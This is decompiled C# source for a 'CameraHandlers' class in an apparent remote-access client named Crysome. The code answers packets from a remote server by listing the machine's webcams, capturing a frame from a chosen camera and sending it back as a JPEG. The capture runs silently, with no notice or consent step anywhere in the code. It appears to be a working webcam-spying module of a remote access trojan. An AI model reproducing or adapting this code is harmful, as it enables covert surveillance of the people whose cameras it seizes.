using System;
using System.Collections;
using System.Collections.Generic;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Threading;
using AForge.Video;
using AForge.Video.DirectShow;
using Crysome.Common.Network;
using Crysome.Common.Network.Packets;
using Crysome.Common.Network.Packets.Client;
using Crysome.Common.Network.Packets.Server;

namespace Crysome.Client.Handlers;

public static class CameraHandlers
{
	public static void HandleGetCameraDevices(CrysomeClient client, IPacket packet)
	{
		//IL_008f: Unknown result type (might be due to invalid IL or missing references)
		//IL_0099: Expected O, but got Unknown
		//IL_0037: Unknown result type (might be due to invalid IL or missing references)
		//IL_0041: Expected O, but got Unknown
		Program.Log("[CAM] HandleGetCameraDevices ENTER");
		try
		{
			string[] cameraDeviceNames = GetCameraDeviceNames();
			Program.Log("[CAM] GetCameraDeviceNames returned " + ((cameraDeviceNames != null) ? cameraDeviceNames.Length : 0) + " devices");
			client.SendPacket((IPacket)new CameraDevicesResponsePacket(cameraDeviceNames));
			Program.Log("[CAM] HandleGetCameraDevices sent response OK");
		}
		catch (Exception ex)
		{
			Program.Log("[CAM] GetCameraDevices EXCEPTION: " + ex.GetType().Name + " " + ex.Message);
			Program.Log("[CAM] Stack: " + ex.StackTrace);
			try
			{
				client.SendPacket((IPacket)new CameraDevicesResponsePacket(new string[0]));
				Program.Log("[CAM] Sent empty fallback");
			}
			catch (Exception ex2)
			{
				Program.Log("[CAM] Fallback send failed: " + ex2.Message);
			}
		}
	}

	public static void HandleRequestCameraFrame(CrysomeClient client, IPacket packet)
	{
		//IL_000b: Unknown result type (might be due to invalid IL or missing references)
		//IL_0011: Expected O, but got Unknown
		//IL_00c3: Unknown result type (might be due to invalid IL or missing references)
		//IL_00cd: Expected O, but got Unknown
		//IL_006b: Unknown result type (might be due to invalid IL or missing references)
		//IL_0075: Expected O, but got Unknown
		Program.Log("[CAM] HandleRequestCameraFrame ENTER");
		try
		{
			RequestCameraFramePacket val = (RequestCameraFramePacket)packet;
			Program.Log("[CAM] CaptureCameraFrame idx=" + val.DeviceIndex);
			byte[] array = CaptureCameraFrame(val.DeviceIndex);
			Program.Log("[CAM] Capture done, " + ((array != null) ? array.Length : 0) + " bytes");
			client.SendPacket((IPacket)new CameraFramePacket(array ?? new byte[0]));
			Program.Log("[CAM] HandleRequestCameraFrame sent OK");
		}
		catch (Exception ex)
		{
			Program.Log("[CAM] RequestCameraFrame EXCEPTION: " + ex.GetType().Name + " " + ex.Message);
			Program.Log("[CAM] Stack: " + ex.StackTrace);
			try
			{
				client.SendPacket((IPacket)new CameraFramePacket(new byte[0]));
			}
			catch
			{
			}
		}
	}

	public static string[] GetCameraDeviceNames()
	{
		//IL_000f: Unknown result type (might be due to invalid IL or missing references)
		//IL_0015: Expected O, but got Unknown
		Program.Log("[CAM] GetCameraDeviceNames ENTER");
		try
		{
			FilterInfoCollection val = new FilterInfoCollection(FilterCategory.VideoInputDevice);
			List<string> list = new List<string>();
			for (int i = 0; i < ((CollectionBase)(object)val).Count; i++)
			{
				list.Add(val[i].Name ?? ("Camera " + i));
			}
			return list.ToArray();
		}
		catch (FileNotFoundException ex)
		{
			Program.Log("[CAM] AForge DLL missing: " + ex.FileName + " - copy AForge.Video.DirectShow.dll next to exe");
			return new string[0];
		}
		catch (Exception ex2)
		{
			Program.Log("[CAM] GetCameraDeviceNames: " + ex2.Message);
			return new string[0];
		}
	}

	private static byte[] CaptureCameraFrame(int deviceIndex)
	{
		//IL_000b: Unknown result type (might be due to invalid IL or missing references)
		//IL_0011: Expected O, but got Unknown
		//IL_0047: Unknown result type (might be due to invalid IL or missing references)
		//IL_0066: Unknown result type (might be due to invalid IL or missing references)
		//IL_006c: Expected O, but got Unknown
		//IL_006c: Unknown result type (might be due to invalid IL or missing references)
		//IL_0073: Unknown result type (might be due to invalid IL or missing references)
		//IL_008a: Unknown result type (might be due to invalid IL or missing references)
		//IL_0090: Unknown result type (might be due to invalid IL or missing references)
		try
		{
			FilterInfoCollection val = new FilterInfoCollection(FilterCategory.VideoInputDevice);
			if (((CollectionBase)(object)val).Count == 0)
			{
				return new byte[0];
			}
			int num = Math.Max(0, Math.Min(deviceIndex, ((CollectionBase)(object)val).Count - 1));
			VideoCaptureDevice val2 = new VideoCaptureDevice(val[num].MonikerString);
			byte[] result = null;
			ManualResetEvent ev = new ManualResetEvent(initialState: false);
			NewFrameEventHandler val3 = (NewFrameEventHandler)delegate(object s, NewFrameEventArgs e)
			{
				try
				{
					using Bitmap bitmap = (Bitmap)e.Frame.Clone();
					using MemoryStream memoryStream = new MemoryStream();
					bitmap.Save(memoryStream, ImageFormat.Jpeg);
					result = memoryStream.ToArray();
				}
				catch
				{
				}
				ev.Set();
			};
			val2.NewFrame += val3;
			val2.Start();
			ev.WaitOne(5000);
			val2.SignalToStop();
			val2.WaitForStop();
			val2.NewFrame -= val3;
			return result ?? new byte[0];
		}
		catch (Exception)
		{
			return new byte[0];
		}
	}
}
